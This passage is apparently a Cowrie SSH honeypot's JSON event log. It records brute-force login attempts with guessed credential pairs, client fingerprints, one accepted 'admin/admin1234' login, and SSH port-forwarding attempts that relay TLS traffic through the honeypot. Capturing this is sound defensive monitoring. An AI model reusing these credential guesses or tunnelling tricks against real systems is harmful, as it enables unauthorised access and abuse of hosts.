0\\x00\\x1d\\x00 9q\\xc1\\xbdk\\xc1m;=\\x93\\rg v\\xb1p/\\xbb\\xf4\\xb3Gx\\x00\\x1b\\xf0/d\\xcc\\xff\\xa5\\xd6j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9ei\\x13hU'\\xcdd{h\\x1ec\\xde\\xdbg\\x8f\\x9e\\xd6\\xfdx\\x11+^\\xe6&\\xf4\\xb7\\x90\\xdeDg\\x96 #x#U\\x03\\xc0\\xba\\xdb\\xf6\\xbc\\xffo\\xcb\\xd2\\xfbW=\\xb2\\xca\\x15\\xc6\\xbb5\\x879\\xfb\\xaf\\xfe\\xc7\\xcd\\xae\\x83\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 9q\\xc1\\xbdk\\xc1m;=\\x93\\rg v\\xb1p/\\xbb\\xf4\\xb3Gx\\x00\\x1b\\xf0/d\\xcc\\xff\\xa5\\xd6j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:26.265458Z","src_ip":"23.175.50.47","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:26.323776Z","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:26.381207Z","src_ip":"23.175.50.47","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xde!\\xc2J9\\x97\\x85\\xd7D\\x1f#\\xd4|\\xf1ZW\\x13\\xda\\r\\x08\\xf5J{\\xdd\\xc7\\xc5\\xca\\x1b\\xe4B\\x81\\x97 \\xd2[Y,\\xa6\\xd5\\x90\\x07\\xaf\\xa8\\xb9\\xaa>\\xa7=a\\xa3\\xcc\\x08\\xe8\\xdf\\xf9$\\xea/\\xcd1\\xdf7A\\x89}\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\"\\\\u\\x04\\xb4\\xa4\\x8d\\x9dJ\\xed\\x89\\xe9\\x14\\nA\\x88\\xdf-$\\xa6\\xf1[=\\x9f1\\xa9\\x17P\\xc0\\xb9\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xde!\\xc2J9\\x97\\x85\\xd7D\\x1f#\\xd4|\\xf1ZW\\x13\\xda\\r\\x08\\xf5J{\\xdd\\xc7\\xc5\\xca\\x1b\\xe4B\\x81\\x97 \\xd2[Y,\\xa6\\xd5\\x90\\x07\\xaf\\xa8\\xb9\\xaa>\\xa7=a\\xa3\\xcc\\x08\\xe8\\xdf\\xf9$\\xea/\\xcd1\\xdf7A\\x89}\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\"\\\\u\\x04\\xb4\\xa4\\x8d\\x9dJ\\xed\\x89\\xe9\\x14\\nA\\x88\\xdf-$\\xa6\\xf1[=\\x9f1\\xa9\\x17P\\xc0\\xb9\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:26.383930Z","src_ip":"23.175.50.47","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:28.011239Z","src_ip":"23.175.50.47","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":53792,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcf883a954e9","protocol":"ssh","message":"New connection: 41.90.100.147:53792 (159.203.135.109:22) [session: dcf883a954e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:32.091766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:32.099900Z","src_ip":"41.90.100.147","session":"dcf883a954e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:32.313647Z","src_ip":"41.90.100.147","session":"dcf883a954e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:33.201823Z","src_ip":"41.90.100.147","session":"dcf883a954e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.69088339805603,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:34.168814Z","src_ip":"172.81.62.90","session":"c3c33c4c8140","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:34.419369Z","src_ip":"41.90.100.147","session":"dcf883a954e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":45462,"dst_ip":"159.203.135.109","dst_port":22,"session":"79d10adf9325","protocol":"ssh","message":"New connection: 49.247.37.22:45462 (159.203.135.109:22) [session: 79d10adf9325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:39.605611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:39.613405Z","src_ip":"49.247.37.22","session":"79d10adf9325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:39.822466Z","src_ip":"49.247.37.22","session":"79d10adf9325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"furukawa","password":"furukawa","message":"login attempt [furukawa/furukawa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:40.686132Z","src_ip":"49.247.37.22","session":"79d10adf9325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:41.903373Z","src_ip":"49.247.37.22","session":"79d10adf9325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":37128,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b35f4305d06","protocol":"ssh","message":"New connection: 182.93.50.90:37128 (159.203.135.109:22) [session: 7b35f4305d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:49.094266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:49.098546Z","src_ip":"182.93.50.90","session":"7b35f4305d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:49.330483Z","src_ip":"182.93.50.90","session":"7b35f4305d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasdzxc!@#","message":"login attempt [root/123qweasdzxc!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:50.229935Z","src_ip":"182.93.50.90","session":"7b35f4305d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:51.447341Z","src_ip":"182.93.50.90","session":"7b35f4305d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":58060,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6f66b0d95d7","protocol":"ssh","message":"New connection: 23.175.50.52:58060 (10.17.0.5:22) [session: e6f66b0d95d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:54.819039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:54.822589Z","src_ip":"23.175.50.52","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:54.988822Z","src_ip":"23.175.50.52","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:56.786495Z","src_ip":"23.175.50.52","session":"e6f66b0d95d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:00.989541Z","session":"e6f66b0d95d7","protocol":"ssh"}
